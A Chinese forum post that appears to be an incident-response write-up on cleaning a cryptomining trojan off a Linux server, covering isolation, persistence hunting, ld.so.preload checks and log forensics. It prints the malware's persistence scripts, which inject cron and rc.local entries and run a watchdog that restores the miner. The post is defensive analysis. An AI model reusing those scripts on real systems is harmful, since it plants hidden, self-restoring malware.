Linux应急响应-“消灭挖矿木马”
1404298252030661 发表于 四川 企业安全 2497浏览 · 2024-08-30 06:17

分析报告

一、应急启动判断

发现CPU占用率居高不下,那么主机很有可能已经被植入了挖矿木马。


攻击时段:
2024年8月5日08时06分-2024年8月6日08时06分
攻击影响:
2024年8月5日08时06分,监控平台监控到IP为xx.xx.xx.xx的web服务器cpu使用率过高

二、处理流程

计划任务-->开机启动-->守护进程-->异常进程

1. 登陆主机并隔离主机

iptables防火墙网络隔离
用到的命令

# 允许维护人员的ip访问
iptables -I INPUT -s xx.xxx.xx.xx -p tcp -j ACCEPT 
# 禁止流量进来
iptables -A INPUT -p tcp -j DROP
# 禁止流量出去
iptables -A OUTPUT -p tcp -j DROP
#清除规则
iptables -F

2. 判断系统命令是否被修改

木马文件会修改常用的系统命令,如ps、pstree、top、kill、ls,让用户在执行常见的系统命令时,自动恢复或启动木马文件。
判断命令是否被修改的方法:
2.1 通过 rpm 命令来判断执行命令

rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化

根据命令执行结果发现
以下命令被修改过
ps、top、rc.local


这里我查看所有行执行结果如下图


发现确实被修改了,直接删除被修改过的命令文件,从backup文件夹里面复制提前备份好的命令文件。
查看被指向的脚本

if ! pgrep -x "king" > /dev/null
then
  chmod +x /etc/rc.local &> /dev/null
  grep king /etc/rc.local > /dev/null || echo "nohup /var/lib/king &" >> /etc/rc.local
  grep king /etc/cron.hourly/nginx > /dev/null || echo "nohup /var/lib/k
  g &" >> /etc/cron.hourly/nginx
  grep king /etc/cron.daily/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.daily/nginx
  grep king /var/spool/cron/root > /dev/null || echo "* * * * * nohup /var/lib/king &" >> /var/spool/cron/root
  cp -arf /var/yp/king.sh /var/lib/king &> /dev/null
fi

解释代码:

if ! pgrep -x "king" > /dev/null:

检查是否有名为“king”的进程在运行。如果没有找到“king”进程,条件为真,执行then部分的代码。
chmod +x /etc/rc.local &> /dev/null:

赋予/etc/rc.local可执行权限,并将所有输出(包括错误输出)重定向到/dev/null。
grep king /etc/rc.local > /dev/null || echo "nohup /var/lib/king &" >> /etc/rc.local:

检查/etc/rc.local中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/rc.local中。
grep king /etc/cron.hourly/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.hourly/nginx:

检查/etc/cron.hourly/nginx中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/cron.hourly/nginx中。
grep king /etc/cron.daily/nginx > /dev/null || echo "nohup /var/lib/king &" >> /etc/cron.daily/nginx:

检查/etc/cron.daily/nginx中是否包含“king”。
如果不包含,则将nohup /var/lib/king &添加到/etc/cron.daily/nginx中。
grep king /var/spool/cron/root > /dev/null || echo "* * * * * nohup /var/lib/king &" >> /var/spool/cron/root:

检查/var/spool/cron/root中是否包含“king”。
如果不包含,则将* * * * * nohup /var/lib/king &添加到/var/spool/cron/root中,设置一个每分钟运行一次的crontab任务。
cp -arf /var/yp/king.sh /var/lib/king &> /dev/null:

复制/var/yp/king.sh到/var/lib/king,并将所有输出(包括错误输出)重定向到/dev/null。

通过上述解释,了解到当执行ps或者top命令时,就会执行这个脚本,然后检查king这个进程,如果不存在,就运行该文件,
删除被指向的文件hide.sh以及下面的文件,并且删除文件king,发现没有权限操作。使用chattr去除权限后删除文件,
/var/lib/king
/var/yp/king.sh
king.sh内容如下

#!/bin/bash

# 定义检查和启动函数
check_and_start_service() {
  if ! systemctl is-active --quiet watchdog; then
    /var/.X11CE/jksdq2 -ai /etc/.init/watchdog
    cp -arf /var/.X11CE/jksdq1 /etc/.init/watchdog
    /var/.X11CE/jksdq2 -ai /etc/.init/watchdog
    systemctl start watchdog
    echo "[kthreadd] service started and file copied at $(date)" >> /var/log/kthreadd_monitor.log
  fi
}

# 循环每30秒检查一次
while true; do
  check_and_start_service
  sleep 30
done

根据上面的代码发现,当我们删除watchdog进程,它还是会被复制到/etc/.init/watchdog,所以直接删除/var/.X11CE/jksdq2
根据上面的代码,发现又出现一个watchdog的服务也是异常服务,首先恢复正常命令,在etc目录下面

mv top.orig top
mv ps.orig ps

3. 动态链接库劫持检测(推荐使用busybox)

3.1 查看是否存在/etc/ld.so.preload


删除/etc/ld.so.preload文件后再删除动态链接库:/lib64/libupload.so

4. 查看恶意的进程(关键找到pid)

使用ps aux 查看占用CPU、内存异常的进程
使用top命令查看占用CPU、内存异常的进程

发现watchdog进程cpu占用很高,先暂停它。
kill -STOP 940
使用netstat命令,查看是否有异常的外连会话
A 如何判断是异常的外连?
Q 拿到可疑的外连IP信息,放到安全平台(微步平台)去判断ip是否为恶意的IP

4.1 暂停找到的恶意进程ID(先暂停,后排查:为了能够正常进行清理工作)
为什么先暂停?
原因:木马守护进程,当木马进程关闭后,守护进程会通过重新下载或者从隐藏路径拷贝木马文件并执行的方式,来恢复木马进程

# kill -STOP <PID>
kill -STOP 940
kill -STOP $(pgrep king) #如果进程开放很多,可以使用这个命令暂停
pkill <进程名> #使用进程名来杀进程
ps aux |grep -T #查看已经暂停的进程

4.2 删除恶意进程对应的文件
通常恶意进程都是由脚本和木马二进制文件调起的,我们拿到并暂停了进程后,可以通过lsof命令来找到进程打开的所有句柄(包括文件句柄),从而定位到文件的路径

# 最小化安装的centos你需要提前安装好lsof
yum -y install lsof
# lsof -p <进程号>
lsof -p  82766

需要找到的信息
● 调起恶意进程的文件
● 恶意进程正在进行的网络连接
发现了进程的文件,删除它

找到调起恶意进程的文件后,进行删除,如果无权限操作,按照下面流程检查。
先使用lsattr查看是否有权限,如果发现有权限,使用chattr命令删除权限
使用方法

(1)lsattr命令
  lsattr [选项] [文件或目录]
  常用选项
  ● -a:显示所有文件,包括以点号 (.) 开头的隐藏文件。
  ● -d:如果是目录,只显示目录本身的属性,而不是目录下的内容。
  ● -R:递归显示目录及其子目录中文件的属性。
  示例
  1. 显示当前目录下所有文件的属性:
  lsattr
  2. 显示某个特定文件的属性:
  lsattr filename
  3. 递归显示某个目录及其子目录中的文件属性:
  lsattr -R directoryname
(2)chattr 命令
  chattr [选项] [符号] [属性] [文件或目录]
  常用选项
  ● -R:递归更改目录及其子目录中的文件属性。
  ● -V:显示详细信息。
  属性符号
  ● +:增加指定的属性。
  ● -:移除指定的属性。
  ● =:设置指定的属性(覆盖原有的所有属性)。
  常用属性
  ● a:只能追加内容的文件。
  ● i:不可更改的文件(即不能删除、重命名、链接或写入数据)。
  示例
  1. 将某个文件设置为只能追加内容:
  chattr +a filename
  2. 将某个文件设置为不可更改:
  chattr +i filename
  3. 移除某个文件的只能追加内容属性:
  chattr -a filename
  4. 递归地将某个目录及其子目录中的所有文件设置为不可更改:
  chattr -R +i directoryname

4.3 防止恶意文件恢复
更具前面的后门脚本发现,会有一个king的守护进程来守护watchdog.而且会写入计划任务,这里我们看到king的文件地址/var/lib/king,查看该文件是否有进程,如有,暂停后删除对应的文件和计划任务。

查看crontab 计划任务

/var/spool/cron/
 /etc/cron.*      #ls /etc/cron.*      #find /etc/ -mtime -1
 /etc/crontab
 grep king /etc/cron.*/*  #查找所有计划任务是否包含king关键字

全部删除


发现没有king相关的计划任务了


查看at计划任务

atq

查看开机启动项

/etc/rc.local #0-6
/etc/rc.d/rc0.d/ #rc0-rc6、
/etc/init.d/ 
/usr/lib/systemd/system/ # find /usr/lib/systemd/system -mtime -1,-1指的是一天内是否有可疑开机启动项


删除开机启动项,发现无法删除

准备赋予权限的时候,发现无法给权限,使用ls -l发现是一个软连接,修改真实的文件。


l -l 查看是否有其他权限,注意软连接,需要查看真实的文件


查看是否有异常的ssh公钥

~/.ssh/authorized_keys # cat ~/.ssh/authorized_keys


没有公钥
● 查看环境变量文件tail或者cat查看、或者使用关键字来匹配这些文件
● grep king /etc/profile

/etc/profile
/etc/profile.d/*
/etc/bashrc
~/.bashrc
~/.bash_profile


没有可疑文件

5. 恢复系统配置环境

检测/etc/sysctl.conf文件,查看是否有恶意的参数
sysctl.conf 是一个系统级配置文件,用于配置Linux 操作系统内核的参数。 在Linux 中,内核参数是一些可以影响系统行为的变量。 而木马通常会在此文件中配置一个men内存参数,开机启动后为自己预留一大部分内存空间,如vm.nr_hugepages=4069,最终导致系统内存无法被释放

三、溯源

1.日志分析

各种日志

/var/log/secure #centos的登陆日志
 中间件日志 :apache、nginx、tomcat、Jboss、
 /var/log/audit/audit.log #审计日志,内容比/var/log/secure还详细
 ~/.bash_history # 历史命令记录

其中,/var/log/secure 主要查ssh暴力破解登陆的情况,通过awk、grep这些命令,可以快速的统计和汇总那些ip进行了暴力破坏并成功,下面命令可以快速的过滤出想要的信息

##1、定位有多少IP在爆破主机的root帐号:
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

#定位有哪些IP在爆破:
#grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.
#(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4] [0-9]|[01]?[0-9][0-9]?)"|uniq -c
grep "Failed password" /var/log/secure | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort | uniq -c | sort -nr

#爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

##2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

##3、增加非法用户如somebody日志:
grep "useradd" /var/log/secure
'''
Jul 10 00:12:15 localhost useradd[2382]: new group: name=somebody, GID=1001 
Jul 10 00:12:15 localhost useradd[2382]: new user: name=somebody, UID=1001, GID=1001, home=/home/somebody , shell=/bin/bash 
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for somebody
'''

##4、sudo授权执行日志:
sudo -l
'''
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
'''

##5、爆破用户名字典(按照登陆失败次数排序)
grep "Failed password" /var/log/secure | awk '{if ($9 == "invalid") print $11; else print $9}' | sort | uniq -c | sort -nr

四、分析结论

经过上述的分析,我们判断该机器被植入挖矿木马,常用命令top和ps被黑客修改为启动挖矿木马的文件,黑客通过计划任务、修改常用命令、编写脚本的方式启动挖矿木马进而使用服务器主机进行挖矿行为。

五、加固建议

  1. 检查并清理挖矿木马
    ● 杀毒软件扫描:使用专业杀毒软件对系统进行全面扫描,查找并删除挖矿木马及相关恶意程序。
    ● 手动清理:手动检查和删除被修改的 top 和 ps 文件,恢复系统原有命令。
  2. 系统更新和补丁
    ● 操作系统更新:及时更新操作系统,安装最新的安全补丁,修复已知漏洞。
    ● 软件更新:确保所有安装的软件和服务都处于最新版本,避免因软件漏洞被黑客利用。
  3. 计划任务和脚本管理
    ● 检查计划任务:定期检查系统中的计划任务(如 cron 任务),删除异常或可疑的任务条目。
    ● 限制脚本执行:对可以执行脚本的用户进行严格管理,限制不必要的脚本执行权限。
  4. 文件完整性监控
    ● 启用文件完整性监控:使用文件完整性监控工具(如 Tripwire)监控关键系统文件的变化,及时发现并处理异常修改。
  5. 系统和网络审计
    ● 日志审计:启用并定期审查系统和应用日志,监控异常行为和访问记录。
    ● 网络流量监控:使用网络监控工具检测异常流量,特别是与挖矿活动相关的流量模式。
  6. 权限管理
    ● 最小权限原则:确保用户和服务进程仅拥有执行其功能所需的最小权限。
    ● 强密码策略:实施强密码策略,定期更换密码,避免使用默认密码。
  7. 防火墙和入侵检测系统
    ● 配置防火墙:根据实际需求配置防火墙,阻止未经授权的访问。
    ● 部署入侵检测系统(IDS):使用 IDS 监控系统和网络活动,检测并响应潜在的入侵行为。
0 条评论
某人
表情
可输入 255